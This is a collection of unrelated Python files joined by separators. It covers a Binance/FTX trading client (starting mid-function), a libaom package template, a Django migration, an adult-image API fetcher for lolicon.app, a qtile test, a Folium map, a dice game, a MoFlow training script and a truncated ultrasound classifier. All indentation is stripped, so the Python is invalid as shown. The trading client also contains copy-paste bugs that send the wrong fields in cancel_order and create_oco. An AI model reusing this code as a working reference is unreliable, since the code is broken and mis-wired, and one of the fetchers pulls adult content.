if new_client_order_id:
params["newClientOrderId"] = new_client_order_id
if stop_price:
params["stopPrice"] = self.refine_price(symbol, stop_price)
elif order_type in [
OrderType.STOP_LOSS.value,
OrderType.STOP_LOSS_LIMIT.value,
OrderType.TAKE_PROFIT.value,
OrderType.TAKE_PROFIT_LIMIT.value,
]:
raise ValueError("This order type requires a stop_price.")
if iceberg_quantity:
params["icebergQty"] = self.refine_amount(symbol, iceberg_quantity)
if response_type:
params["newOrderRespType"] = response_type
if receive_window:
params["recvWindow"] = receive_window
route = "/api/v3/order/test" if test else "/api/v3/order"
binance_res = await self.http.send_api_call(route, "POST", data=params, signed=True)
elif self.exchange == 'ftx':
params = {
"market": self.symbol_to_ftx(symbol),
"side": side.lower(),
"price": float(price),
"type": order_type.lower(),
"size": float(quantity),
"clientId": None
}
count = 0
res = {}
while count < 10:
try:
res = await self.http.send_api_call(
"orders",
method="POST",
signed=True,
**params,
)
break
except RateLimitReached:
count += 1
logger.info(f"RateLimitReached for {self.symbol_to_ftx(symbol)}, count {count}, try one else")
await asyncio.sleep(random.uniform(0.1, 0.3) * count)
# logger.debug(f"create_order.res: {res}")
if res and res.get('success'):
binance_res = ftx.ftx_order(res.get('result'), response_type=False)
if binance_res.get('status') != 'NEW':
order_id = binance_res.get('orderId')
binance_res = await self.fetch_order(symbol, order_id, receive_window)
return binance_res
# https://github.com/binance/binance-spot-api-docs/blob/master/rest-api.md#query-order-user_data
async def fetch_order( # lgtm [py/similar-function]
self,
symbol,
order_id=None,
origin_client_order_id=None,
receive_window=None,
response_type=None,
):
self.assert_symbol(symbol)
binance_res = {}
if self.exchange == 'binance':
params = {"symbol": symbol}
if not order_id and not origin_client_order_id:
raise ValueError(
"This query requires an order_id or an origin_client_order_id"
)
if order_id:
params["orderId"] = order_id
if origin_client_order_id:
params["originClientOrderId"] = origin_client_order_id
if receive_window:
params["recvWindow"] = receive_window
binance_res = await self.http.send_api_call(
"/api/v3/order",
params=params,
signed=True,
)
elif self.exchange == 'ftx':
if not order_id:
raise ValueError(
"This query requires an order_id on FTX"
)
res = await self.http.send_api_call(
f"orders/{order_id}",
signed=True,
)
if res and res.get('success'):
binance_res = ftx.ftx_order(res.get('result'), response_type=response_type)
logger.debug(f"fetch_order.res: {binance_res}")
return binance_res
# https://github.com/binance/binance-spot-api-docs/blob/master/rest-api.md#cancel-order-trade
async def cancel_order( # lgtm [py/similar-function]
self,
symbol,
order_id=None,
origin_client_order_id=None,
new_client_order_id=None,
receive_window=None,
):
self.assert_symbol(symbol)
binance_res = {}
if self.exchange == 'binance':
params = {"symbol": symbol}
if not order_id and not origin_client_order_id:
raise ValueError(
"This query requires an order_id or an origin_client_order_id."
)
if order_id:
params["orderId"] = order_id
if origin_client_order_id:
params["originClientOrderId"] = origin_client_order_id
if new_client_order_id:
params["newClientOrderId"] = origin_client_order_id
if receive_window:
params["recvWindow"] = receive_window
binance_res = await self.http.send_api_call(
"/api/v3/order",
"DELETE",
params=params,
signed=True,
)
elif self.exchange == 'ftx':
if not order_id:
raise ValueError(
"This query requires an order_id on FTX"
)
await self.http.send_api_call(
f"orders/{order_id}",
method="DELETE",
signed=True,
)
order_cancelled = False
timeout = STATUS_TIMEOUT
while not order_cancelled and timeout:
timeout -= 1
binance_res = await self.fetch_order(symbol,
order_id,
origin_client_order_id,
receive_window,
response_type=True,
)
order_cancelled = bool(binance_res.get('status') == 'CANCELED')
await asyncio.sleep(1)
return binance_res
# https://github.com/binance/binance-spot-api-docs/blob/master/rest-api.md#cancel-all-open-orders-on-a-symbol-trade
async def cancel_all_orders(self, symbol, receive_window=None):
self.assert_symbol(symbol)
binance_res = []
if self.exchange == 'binance':
params = {"symbol": symbol}
if receive_window:
params["recvWindow"] = receive_window
binance_res = await self.http.send_api_call(
"/api/v3/openOrders",
"DELETE",
params=params,
signed=True,
)
elif self.exchange == 'ftx':
params = {'market': self.symbol_to_ftx(symbol)}
# Get list of open orders
res_orders = await self.http.send_api_call(
"orders",
signed=True,
**params
)
# Delete it
res = await self.http.send_api_call(
"orders",
method="DELETE",
signed=True,
**params
)
if res and res.get('success'):
binance_res = ftx.ftx_orders(res_orders.get('result'), response_type=True)
return binance_res
# https://github.com/binance/binance-spot-api-docs/blob/master/rest-api.md#current-open-orders-user_data
async def fetch_open_orders(self, symbol, receive_window=None):
self.assert_symbol(symbol)
binance_res = []
if self.exchange == 'binance':
params = {"symbol": symbol}
if receive_window:
params["recvWindow"] = receive_window
binance_res = await self.http.send_api_call(
"/api/v3/openOrders",
params=params,
signed=True
)
elif self.exchange == 'ftx':
params = {'market': self.symbol_to_ftx(symbol)}
res = await self.http.send_api_call(
"orders",
signed=True,
**params,
)
if res and res.get('success'):
binance_res = ftx.ftx_orders(res.get('result'))
return binance_res
# https://github.com/binance/binance-spot-api-docs/blob/master/rest-api.md#all-orders-user_data
async def fetch_all_orders(
self,
symbol,
order_id=None,
start_time=None,
end_time=None,
limit=500,
receive_window=None,
):
self.assert_symbol(symbol)
if limit == 500:
params = {"symbol": symbol}
elif 0 < limit <= 1000:
params = {"symbol": symbol, "limit": limit}
else:
raise ValueError(
f"{limit} is not a valid limit. A valid limit should be > 0 and <= to 1000."
)
if order_id:
params["orderId"] = order_id
if start_time:
params["startTime"] = start_time
if end_time:
params["endTime"] = end_time
if receive_window:
params["recvWindow"] = receive_window
return await self.http.send_api_call(
"/api/v3/allOrders",
params=params,
signed=True,
)
# https://github.com/binance/binance-spot-api-docs/blob/master/rest-api.md#new-oco-trade
async def create_oco(
self,
symbol,
side,
quantity,
price,
stop_price,
list_client_order_id=None,
limit_iceberg_quantity=None,
stop_client_order_id=None,
stop_limit_price=None,
stop_iceberg_quantity=None,
stop_limit_time_in_force=None,
response_type=None,
receive_window=None,
):
self.assert_symbol(symbol)
side = self.enum_to_value(side)
if not side:
raise ValueError("This query requires a side.")
if not quantity:
raise ValueError("This query requires a quantity.")
if not price:
raise ValueError("This query requires a price.")
if not stop_price:
raise ValueError("This query requires a stop_price.")
params = {
"symbol": symbol,
"side": side,
"quantity": self.refine_amount(symbol, quantity),
"price": self.refine_price(symbol, price),
"stopPrice": self.refine_price(symbol, stop_price),
"stopLimitPrice": self.refine_price(symbol, stop_limit_price),
}
if list_client_order_id:
params["listClientOrderId"] = list_client_order_id
if limit_iceberg_quantity:
params["limitIcebergQty"] = self.refine_amount(
symbol, limit_iceberg_quantity
)
if stop_client_order_id:
params["stopLimitPrice"] = self.refine_price(symbol, stop_client_order_id)
if stop_iceberg_quantity:
params["stopIcebergQty"] = self.refine_amount(symbol, stop_iceberg_quantity)
if stop_limit_time_in_force:
params["stopLimitTimeInForce"] = stop_limit_time_in_force
if response_type:
params["newOrderRespType"] = response_type
if receive_window:
params["recvWindow"] = receive_window
return await self.http.send_api_call(
"/api/v3/order/oco", "POST", data=params, signed=True
)
# https://github.com/binance/binance-spot-api-docs/blob/master/rest-api.md#query-oco-user_data
async def fetch_oco( # lgtm [py/similar-function]
self,
symbol,
order_list_id=None,
origin_client_order_id=None,
receive_window=None,
):
self.assert_symbol(symbol)
params = {"symbol": symbol}
if not order_list_id and not origin_client_order_id:
raise ValueError(
"This query requires an order_id or an origin_client_order_id."
)
if order_list_id:
params["orderListId"] = order_list_id
if origin_client_order_id:
params["originClientOrderId"] = origin_client_order_id
if receive_window:
params["recvWindow"] = receive_window
return await self.http.send_api_call(
"/api/v3/orderList",
params=params,
signed=True,
)
# https://github.com/binance/binance-spot-api-docs/blob/master/rest-api.md#cancel-oco-trade
async def cancel_oco( # lgtm [py/similar-function]
self,
symbol,
order_list_id=None,
list_client_order_id=None,
new_client_order_id=None,
receive_window=None,
):
self.assert_symbol(symbol)
params = {"symbol": symbol}
if not order_list_id and not list_client_order_id:
raise ValueError(
"This query requires a order_list_id or a list_client_order_id."
)
if order_list_id:
params["orderListId"] = order_list_id
if list_client_order_id:
params["listClientOrderId"] = list_client_order_id
if new_client_order_id:
params["newClientOrderId"] = new_client_order_id
if receive_window:
params["recvWindow"] = receive_window
return await self.http.send_api_call(
"/api/v3/order/oco",
"DELETE",
params=params,
signed=True,
)
# https://github.com/binance/binance-spot-api-docs/blob/master/rest-api.md#query-open-oco-user_data
async def fetch_open_oco(self, receive_window=None):
params = {}
if receive_window:
params["recvWindow"] = receive_window
return await self.http.send_api_call(
"/api/v3/openOrderList",
params=params,
signed=True,
)
# https://github.com/binance/binance-spot-api-docs/blob/master/rest-api.md#query-all-oco-user_data
async def fetch_all_oco(
self,
from_id=None,
start_time=None,
end_time=None,
limit=None,
receive_window=None,
):
params = {}
if from_id:
params["fromId"] = from_id
if start_time:
params["startTime"] = start_time
if end_time:
params["endTime"] = end_time
if limit:
params["limit"] = limit
if receive_window:
params["recvWindow"] = receive_window
return await self.http.send_api_call(
"/api/v3/allOrderList",
params=params,
signed=True,
)
# https://github.com/binance/binance-spot-api-docs/blob/master/rest-api.md#account-information-user_data
async def fetch_account_information(self, receive_window=None):
params = {}
binance_res = {}
if self.exchange == 'binance':
if receive_window:
params["recvWindow"] = receive_window
binance_res = await self.http.send_api_call(
"/api/v3/account",
params=params,
signed=True,
)
elif self.exchange == 'ftx':
res = await self.http.send_api_call(
"wallet/balances",
signed=True)
if res and res.get('success'):
binance_res = ftx.ftx_account_information(res.get('result'))
return binance_res
# https://binance-docs.github.io/apidocs/spot/en/#funding-wallet-user_data
# Not can be used for Spot Test Network, for real SPOT market only
async def fetch_funding_wallet(self, asset=None, need_btc_valuation=None, receive_window=None):
binance_res = []
if self.exchange == 'binance':
params = {}
if asset:
params["asset"] = asset
if need_btc_valuation:
params["needBtcValuation"] = "true"
if receive_window:
params["recvWindow"] = receive_window
binance_res = await self.http.send_api_call(
"/sapi/v1/asset/get-funding-asset",
method="POST",
params=params,
signed=True,
)
elif self.exchange == 'ftx':
res = await self.http.send_api_call(
"wallet/all_balances",
signed=True,
)
if res and res.get('success'):
binance_res = ftx.ftx_fetch_funding_wallet(res.get('result').get('main', []))
return binance_res
# https://github.com/binance/binance-spot-api-docs/blob/master/rest-api.md#account-trade-list-user_data
async def fetch_account_trade_list(
self,
symbol,
start_time=None,
end_time=None,
from_id=None,
limit=500,
receive_window=None,
):
self.assert_symbol(symbol)
binance_res = []
if self.exchange == 'binance':
if limit == 500:
params = {"symbol": symbol}
elif 0 < limit <= 1000:
params = {"symbol": symbol, "limit": limit}
else:
raise ValueError(
f"{limit} is not a valid limit. A valid limit should be > 0 and <= to 1000."
)
if start_time:
params["startTime"] = start_time
if end_time:
params["endTime"] = end_time
if from_id:
params["fromId"] = from_id
if receive_window:
params["recvWindow"] = receive_window
binance_res = await self.http.send_api_call(
"/api/v3/myTrades",
params=params,
signed=True,
)
elif self.exchange == 'ftx':
params = {'market': self.symbol_to_ftx(symbol)}
if start_time:
params["startTime"] = int(start_time / 1000)
if from_id:
params["orderId"] = from_id
res = await self.http.send_api_call(
"fills",
signed=True,
**params,
)
if res and res.get('success'):
binance_res = ftx.ftx_account_trade_list(res.get('result')[-limit:])
return binance_res
# USER DATA STREAM ENDPOINTS
# https://github.com/binance-exchange/binance-official-api-docs/blob/master/user-data-stream.md#create-a-listenkey
async def create_listen_key(self):
return await self.http.send_api_call("/api/v3/userDataStream", "POST")
# https://github.com/binance-exchange/binance-official-api-docs/blob/master/user-data-stream.md#close-a-listenkey
async def keep_alive_listen_key(self, listen_key):
if not listen_key:
raise ValueError("This query requires a listen_key.")
return await self.http.send_api_call(
"/api/v3/userDataStream", "PUT", params={"listenKey": listen_key}
)
# https://github.com/binance-exchange/binance-official-api-docs/blob/master/user-data-stream.md#close-a-listenkey
async def close_listen_key(self, listen_key):
if not listen_key:
raise ValueError("This query requires a listen_key.")
return await self.http.send_api_call(
"/api/v3/userDataStream", "DELETE", params={"listenKey": listen_key}
)
|
pkgname = "libaom"
pkgver = "3.2.0"
pkgrel = 0
build_style = "cmake"
configure_args = ["-DBUILD_SHARED_LIBS=ON", "-DENABLE_TESTS=OFF"]
hostmakedepends = [
"cmake", "ninja", "pkgconf", "perl", "python", "yasm", "doxygen"
]
makedepends = ["linux-headers"]
pkgdesc = "Reference implementation of the AV1 codec"
maintainer = "q66 <q66@chimera-linux.org>"
license = "BSD-2-Clause"
url = "https://aomedia.org"
# there are no official tarballs and no deterministic autotarballs
source = [f"https://ftp.octaforge.org/q66/random/{pkgname}-{pkgver}.tar.gz"]
sha256 = ["5d1919c6ccd8811f344a89150a89234404e8273734cb0bd91e48b045d3226439"]
tool_flags = {"LDFLAGS": ["-Wl,-z,stack-size=2097152"]}
# requires a testdata download, tests take long
options = ["!check"]
match self.profile().arch:
case "ppc64":
configure_args += ["-DENABLE_VSX=0"]
def post_install(self):
self.install_license("LICENSE")
@subpackage("libaom-devel")
def _devel(self):
return self.default_devel()
@subpackage("libaom-progs")
def _progs(self):
return self.default_progs()
|
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('djconnectwise', '0044_auto_20171222_1700'),
]
operations = [
migrations.AddField(
model_name='project',
name='actual_hours',
field=models.DecimalField(max_digits=6, blank=True, null=True, decimal_places=2),
),
migrations.AddField(
model_name='project',
name='budget_hours',
field=models.DecimalField(max_digits=6, blank=True, null=True, decimal_places=2),
),
migrations.AddField(
model_name='project',
name='scheduled_hours',
field=models.DecimalField(max_digits=6, blank=True, null=True, decimal_places=2),
),
]
|
from .. import headers, user_lang
from . import pre_check
import requests
import json
lolicon_token = pre_check('lolicon_token', False)
def loli_img(keyword: str = ''):
try:
res = requests.get(
'https://api.lolicon.app/setu/', headers=headers,
params={
'apikey': lolicon_token if lolicon_token else '',
'r18': '2',
'keyword': keyword,
'num': 1,
'proxy': 'disable'
}
)
except Exception as e:
return False, repr(e), False
else:
if res.status_code != requests.codes.ok:
return False, ("Get Data Failed" if user_lang != 'zh' else "获取图源数据失败"), False
data = json.loads(res.text)
return data['code'] == 0, data['msg'], data['data']
|
# Copyright (c) 2022 elParaguayo
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
import os
import shutil
import pytest
from libqtile.widget import Volume
from test.widgets.conftest import DATA_DIR
ICON = os.path.join(DATA_DIR, "svg", "audio-volume-muted.svg")
TEMP_DIR = os.path.join(DATA_DIR, "ss_temp")
@pytest.fixture
def widget():
os.mkdir(TEMP_DIR)
for i in (
"audio-volume-high.svg",
"audio-volume-low.svg",
"audio-volume-medium.svg",
"audio-volume-muted.svg",
):
shutil.copy(ICON, os.path.join(TEMP_DIR, i))
yield Volume
shutil.rmtree(TEMP_DIR)
@pytest.mark.parametrize(
"screenshot_manager",
[{"theme_path": TEMP_DIR}, {"emoji": True}, {"fmt": "Vol: {}"}],
indirect=True,
)
def ss_volume(screenshot_manager):
widget = screenshot_manager.c.widget["volume"]
widget.eval("self.volume=-1")
widget.eval("self._update_drawer()")
widget.eval("self.bar.draw()")
screenshot_manager.take_screenshot()
|
"""
Ce fichier génère une carte interactive avec Folium.
"""
# %%
import folium
from folium.plugins import MarkerCluster
import json
coordinates = json.load(open('coordinates.json'))
snippets = json.load(open('tome1.json', encoding='utf-8'))
# construction de la carte
# inspiré par https://medium.com/@saidakbarp/interactive-map-visualization-with-folium-in-python-2e95544d8d9b
def make_snippet(snippets, location):
"""Makes a colored html snippet."""
output = "<br>".join(sentence.replace(
location, f'<i style="background-color: yellow;">{location}</i>') for sentence in snippets)
return output
map = folium.Map(location=[48.853, 2.348], zoom_start=5,
tiles='Stamen Watercolor', attr="Stamen attribution")
marker_cluster = MarkerCluster().add_to(map) # create marker clusters
for location in coordinates:
coords = coordinates[location]
if location in snippets:
popup = make_snippet(snippets[location], location)
popup = folium.Popup(popup, parse_html=False, max_width=400)
else:
popup = f"Lieu : {location}<br>"
tooltip = f"{location}"
folium.Marker(coords, # adding more details to the popup screen using HTML
popup=popup,
tooltip=tooltip).add_to(marker_cluster)
map
map.save('tome1.html')
print('Lieux manquants dans les coordonnées :', [
key for key in snippets if key not in coordinates])
# %%
|
import random
while True:
start=input('Type ROLL to start rolling the dice:')
if start=='ROLL':
print('Rolling dice..')
print(f"The value is ", random.randint(1,6))
again=input("to close the program type CLOSE and to continue the program press anything:")
if again =='CLOSE':
break
|
"""
URLs for umnoc.
"""
from django.conf.urls import url, include
from .admin import umnoc_admin_site
from .api import api
urlpatterns = [
url('^admin/', umnoc_admin_site.urls),
url('^api/', api.urls),
url('^summernote/', include('django_summernote.urls')),
]
|
import json
import os
import sys
# for linux env.
sys.path.insert(0,'..')
import argparse
from distutils.util import strtobool
import torch
import torch.nn as nn
from data.data_loader import NumpyTupleDataset
from mflow.models.hyperparams import Hyperparameters
from mflow.models.model import MoFlow, rescale_adj
from mflow.models.utils import check_validity, save_mol_png
import time
from mflow.utils.timereport import TimeReport
from mflow.generate import generate_mols
import functools
print = functools.partial(print, flush=True)
def get_parser():
parser = argparse.ArgumentParser()
# data I/O
parser.add_argument('-i', '--data_dir', type=str, default='../data', help='Location for the dataset')
parser.add_argument('--data_name', type=str, default='qm9', choices=['qm9', 'zinc250k'], help='dataset name')
# parser.add_argument('-f', '--data_file', type=str, default='qm9_relgcn_kekulized_ggnp.npz', help='Name of the dataset')
parser.add_argument('-o', '--save_dir', type=str, default='results/qm9',
help='Location for parameter checkpoints and samples')
parser.add_argument('-t', '--save_interval', type=int, default=20,
help='Every how many epochs to write checkpoint/samples?')
parser.add_argument('-r', '--load_params', type=int, default=0,
help='Restore training from previous model checkpoint? 1 = Yes, 0 = No')
parser.add_argument('--load_snapshot', type=str, default='', help='load the model from this path')
# optimization
parser.add_argument('-l', '--learning_rate', type=float, default=0.001, help='Base learning rate')
parser.add_argument('-e', '--lr_decay', type=float, default=0.999995,
help='Learning rate decay, applied every step of the optimization')
parser.add_argument('-x', '--max_epochs', type=int, default=5000, help='How many epochs to run in total?')
parser.add_argument('-g', '--gpu', type=int, default=0, help='GPU Id to use')
parser.add_argument('--save_epochs', type=int, default=1, help='in how many epochs, a snapshot of the model'
' needs to be saved?')
# data loader
parser.add_argument('-b', '--batch_size', type=int, default=12, help='Batch size during training per GPU')
parser.add_argument('--shuffle', type=strtobool, default='false', help='Shuffle the data batch')
parser.add_argument('--num_workers', type=int, default=0, help='Number of workers in the data loader')
# # evaluation
# parser.add_argument('--sample_batch_size', type=int, default=16,
# help='How many samples to process in paralell during sampling?')
# reproducibility
# For bonds
parser.add_argument('--b_n_flow', type=int, default=10,
help='Number of masked glow coupling layers per block for bond tensor')
parser.add_argument('--b_n_block', type=int, default=1, help='Number of glow blocks for bond tensor')
parser.add_argument('--b_hidden_ch', type=str, default="128,128",
help='Hidden channel list for bonds tensor, delimited list input ')
parser.add_argument('--b_conv_lu', type=int, default=1, choices=[0, 1, 2],
help='0: InvConv2d for 1*1 conv, 1:InvConv2dLU for 1*1 conv, 2: No 1*1 conv, '
'swap updating in the coupling layer')
# For atoms
parser.add_argument('--a_n_flow', type=int, default=27,
help='Number of masked flow coupling layers per block for atom matrix')
parser.add_argument('--a_n_block', type=int, default=1, help='Number of flow blocks for atom matrix')
parser.add_argument('--a_hidden_gnn', type=str, default="64,",
help='Hidden dimension list for graph convolution for atoms matrix, delimited list input ')
parser.add_argument('--a_hidden_lin', type=str, default="128,64",
help='Hidden dimension list for linear transformation for atoms, delimited list input ')
parser.add_argument('--mask_row_size_list', type=str, default="1,",
help='Mask row size list for atom matrix, delimited list input ')
parser.add_argument('--mask_row_stride_list', type=str, default="1,",
help='Mask row stride list for atom matrix, delimited list input')
# General
parser.add_argument('-s', '--seed', type=int, default=1, help='Random seed to use')
parser.add_argument('--debug', type=strtobool, default='true', help='To run training with more information')
parser.add_argument('--learn_dist', type=strtobool, default='true', help='learn the distribution of feature matrix')
parser.add_argument('--noise_scale', type=float, default=0.6, help='x + torch.rand(x.shape) * noise_scale')
return parser
def train():
start = time.time()
print("Start at Time: {}".format(time.ctime()))
parser = get_parser()
args = parser.parse_args()
# Device configuration
device = -1
multigpu = False
if args.gpu >= 0:
# signle gpu
# device = args.gpu
device = torch.device('cuda:'+str(args.gpu) if torch.cuda.is_available() else 'cpu')
elif args.gpu == -1:
# cpu
device = torch.device('cpu')
else:
# multigpu, can be slower than using just 1 gpu
device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')
multigpu = True
debug = args.debug
print('input args:\n', json.dumps(vars(args), indent=4, separators=(',', ':'))) # pretty print args
# Model configuration
b_hidden_ch = [int(d) for d in args.b_hidden_ch.strip(',').split(',')]
a_hidden_gnn = [int(d) for d in args.a_hidden_gnn.strip(',').split(',')]
a_hidden_lin = [int(d) for d in args.a_hidden_lin.strip(',').split(',')]
mask_row_size_list = [int(d) for d in args.mask_row_size_list.strip(',').split(',')]
mask_row_stride_list = [int(d) for d in args.mask_row_stride_list.strip(',').split(',')]
if args.data_name == 'qm9':
from data import transform_qm9
data_file = 'qm9_relgcn_kekulized_ggnp.npz'
transform_fn = transform_qm9.transform_fn
atomic_num_list = [6, 7, 8, 9, 0]
b_n_type = 4
b_n_squeeze = 3
a_n_node = 9
a_n_type = len(atomic_num_list) # 5
valid_idx = transform_qm9.get_val_ids() # len: 13,082, total data: 133,885
elif args.data_name == 'zinc250k':
from data import transform_zinc250k
data_file = 'zinc250k_relgcn_kekulized_ggnp.npz'
transform_fn = transform_zinc250k.transform_fn_zinc250k
atomic_num_list = transform_zinc250k.zinc250_atomic_num_list # [6, 7, 8, 9, 15, 16, 17, 35, 53, 0]
# mlp_channels = [1024, 512]
# gnn_channels = {'gcn': [16, 128], 'hidden': [256, 64]}
b_n_type = 4
b_n_squeeze = 19 # 2
a_n_node = 38
a_n_type = len(atomic_num_list) # 10
valid_idx = transform_zinc250k.get_val_ids()
else:
raise ValueError('Only support qm9 and zinc250k right now. '
'Parameters need change a little bit for other dataset.')
model_params = Hyperparameters(b_n_type=b_n_type, # 4,
b_n_flow=args.b_n_flow,
b_n_block=args.b_n_block,
b_n_squeeze=b_n_squeeze,
b_hidden_ch=b_hidden_ch,
b_affine=True,
b_conv_lu=args.b_conv_lu,
a_n_node=a_n_node,
a_n_type=a_n_type,
a_hidden_gnn=a_hidden_gnn,
a_hidden_lin=a_hidden_lin,
a_n_flow=args.a_n_flow,
a_n_block=args.a_n_block,
mask_row_size_list=mask_row_size_list,
mask_row_stride_list=mask_row_stride_list,
a_affine=True,
learn_dist=args.learn_dist,
seed=args.seed,
noise_scale=args.noise_scale
)
print('Model params:')
model_params.print()
model = MoFlow(model_params)
os.makedirs(args.save_dir, exist_ok=True)
model.save_hyperparams(os.path.join(args.save_dir, 'moflow-params.json'))
if torch.cuda.device_count() > 1 and multigpu:
print("Let's use", torch.cuda.device_count(), "GPUs!")
# dim = 0 [30, xxx] -> [10, ...], [10, ...], [10, ...] on 3 GPUs
model = nn.DataParallel(model)
else:
multigpu = False
model = model.to(device)
# Datasets:
dataset = NumpyTupleDataset.load(os.path.join(args.data_dir, data_file), transform=transform_fn) # 133885
if len(valid_idx) > 0:
train_idx = [t for t in range(len(dataset)) if t not in valid_idx] # 120803 = 133885-13082
# n_train = len(train_idx) # 120803
train = torch.utils.data.Subset(dataset, train_idx) # 120,803
test = torch.utils.data.Subset(dataset, valid_idx) # 13,082
else:
torch.manual_seed(args.seed)
train, test = torch.utils.data.random_split(
dataset,
[int(len(dataset) * 0.8), len(dataset) - int(len(dataset) * 0.8)])
train_dataloader = torch.utils.data.DataLoader(train, batch_size=args.batch_size,
shuffle=args.shuffle, num_workers=args.num_workers)
print('==========================================')
print('Load data done! Time {:.2f} seconds'.format(time.time() - start))
print('Data shuffle: {}, Number of data loader workers: {}!'.format(args.shuffle, args.num_workers))
if args.gpu >= 0:
print('Using GPU device:{}!'.format(args.gpu))
print('Num Train-size: {}'.format(len(train)))
print('Num Minibatch-size: {}'.format(args.batch_size))
print('Num Iter/Epoch: {}'.format(len(train_dataloader)))
print('Num epoch: {}'.format(args.max_epochs))
print('==========================================')
# Loss and optimizer
optimizer = torch.optim.Adam(model.parameters(), lr=args.learning_rate)
# Train the models
iter_per_epoch = len(train_dataloader)
log_step = args.save_interval # 20 default
tr = TimeReport(total_iter=args.max_epochs * iter_per_epoch)
for epoch in range(args.max_epochs):
print("In epoch {}, Time: {}".format(epoch+1, time.ctime()))
for i, batch in enumerate(train_dataloader):
optimizer.zero_grad()
# turn off shuffle to see the order with original code
x = batch[0].to(device) # (256,9,5)
adj = batch[1].to(device) # (256,4,9, 9)
adj_normalized = rescale_adj(adj).to(device)
# Forward, backward and optimize
z, sum_log_det_jacs = model(adj, x, adj_normalized)
if multigpu:
nll = model.module.log_prob(z, sum_log_det_jacs)
else:
nll = model.log_prob(z, sum_log_det_jacs)
loss = nll[0] + nll[1]
loss.backward()
optimizer.step()
tr.update()
# Print log info
if (i+1) % log_step == 0: # i % args.log_step == 0:
print('Epoch [{}/{}], Iter [{}/{}], loglik: {:.5f}, nll_x: {:.5f},'
' nll_adj: {:.5f}, {:.2f} sec/iter, {:.2f} iters/sec: '.
format(epoch+1, args.max_epochs, i+1, iter_per_epoch,
loss.item(), nll[0].item(), nll[1].item(),
tr.get_avg_time_per_iter(), tr.get_avg_iter_per_sec()))
tr.print_summary()
if debug:
def print_validity(ith):
model.eval()
if multigpu:
adj, x = generate_mols(model.module, batch_size=100, device=device)
else:
adj, x = generate_mols(model, batch_size=100, device=device)
valid_mols = check_validity(adj, x, atomic_num_list)['valid_mols']
mol_dir = os.path.join(args.save_dir, 'generated_{}'.format(ith))
os.makedirs(mol_dir, exist_ok=True)
for ind, mol in enumerate(valid_mols):
save_mol_png(mol, os.path.join(mol_dir, '{}.png'.format(ind)))
model.train()
print_validity(epoch+1)
# The same report for each epoch
print('Epoch [{}/{}], Iter [{}/{}], loglik: {:.5f}, nll_x: {:.5f},'
' nll_adj: {:.5f}, {:.2f} sec/iter, {:.2f} iters/sec: '.
format(epoch + 1, args.max_epochs, -1, iter_per_epoch,
loss.item(), nll[0].item(), nll[1].item(),
tr.get_avg_time_per_iter(), tr.get_avg_iter_per_sec()))
tr.print_summary()
# Save the model checkpoints
save_epochs = args.save_epochs
if save_epochs == -1:
save_epochs = args.max_epochs
if (epoch + 1) % save_epochs == 0:
if multigpu:
torch.save(model.module.state_dict(), os.path.join(
args.save_dir, 'model_snapshot_epoch_{}'.format(epoch + 1)))
else:
torch.save(model.state_dict(), os.path.join(
args.save_dir, 'model_snapshot_epoch_{}'.format(epoch + 1)))
tr.end()
print("[Training Ends], Start at {}, End at {}".format(time.ctime(start), time.ctime()))
if __name__ == '__main__':
# with torch.autograd.set_detect_anomaly(True):
train()
|
from __future__ import print_function
# to filter some unnecessory warning messages
import warnings
warnings.filterwarnings("ignore", message="numpy.dtype size changed")
warnings.filterwarnings("ignore", message="numpy.ufunc size changed")
import os
import numpy as np
import pandas as pd
import glob
import keras
from keras import backend as K
import random as rn
import cv2
import shutil
def load_model(in_model_fp=r"./models/model_bmus.h5"):
if not os.path.exists(in_model_fp):
print("Error: Can not find BMUS model.")
return False
cnn_model = keras.models.load_model(in_model_fp)
cnn_model.summary()
return cnn_model
def predict_single_img(in_model, in_img_fp, in_img_size, in_pre_fun):
img = keras.preprocessing.image.load_img(in_img_fp, target_size=(in_img_size[0], in_img_size[1]))
img_np = keras.preprocessing.image.img_to_array(img)
img_np = np.squeeze(img_np)
x = np.expand_dims(img_np, axis=0)
x = in_pre_fun(x)
preds = in_model.predict(x)
return preds
def predict_imgs_from_dir(
in_model, in_src_dir, in_img_size=[224, 224, 3], img_type='bmp',
in_save_dir=r"./res"
):
fuzzy_fp = os.path.join(in_src_dir, '*.%s' % img_type)
print(fuzzy_fp)
img_fps = glob.glob(fuzzy_fp)
if 0 == len(img_fps):
print("Error: Can not find images with %s type." % img_type)
return False
cnn_model = in_model
cnn_model_preprocess = keras.applications.resnet50.preprocess_input
cnn_model.summary()
y_predict = predict_single_img(cnn_model, img_fps[0], in_img_size, cnn_model_preprocess)
file_id = []
y_predict_class = []
img_cnt = 1
for in_fp in img_fps:
tmp_pre = predict_single_img(cnn_model, in_fp, in_img_size, cnn_model_preprocess)
if tmp_pre[0] < 0.5:
tmp_clf = 0
else:
tmp_clf = 1
y_predict = np.vstack((y_predict, tmp_pre))
print("Info [%d / %d]: Prediction is %s (%.2f) of %s." % (img_cnt, len(img_fps), str(tmp_clf), tmp_pre[0], os.path.basename(in_fp)))
img_cnt = img_cnt + 1
y_predict_class.append(tmp_clf)
file_id.append(os.path.basename(in_fp))
y_predict = np.delete(y_predict, 0, axis=0)
save_dict = dict()
save_dict['ID'] = file_id
for predict_index in range(y_predict.shape[1]):
save_dict['Rsik_bmus'] = y_predict[:, predict_index].tolist()
save_dict['predict_Label'] = y_predict_class
save_df = pd.DataFrame(save_dict)
save_fp = os.path.join(in_save_dir, "result_bmus.csv")
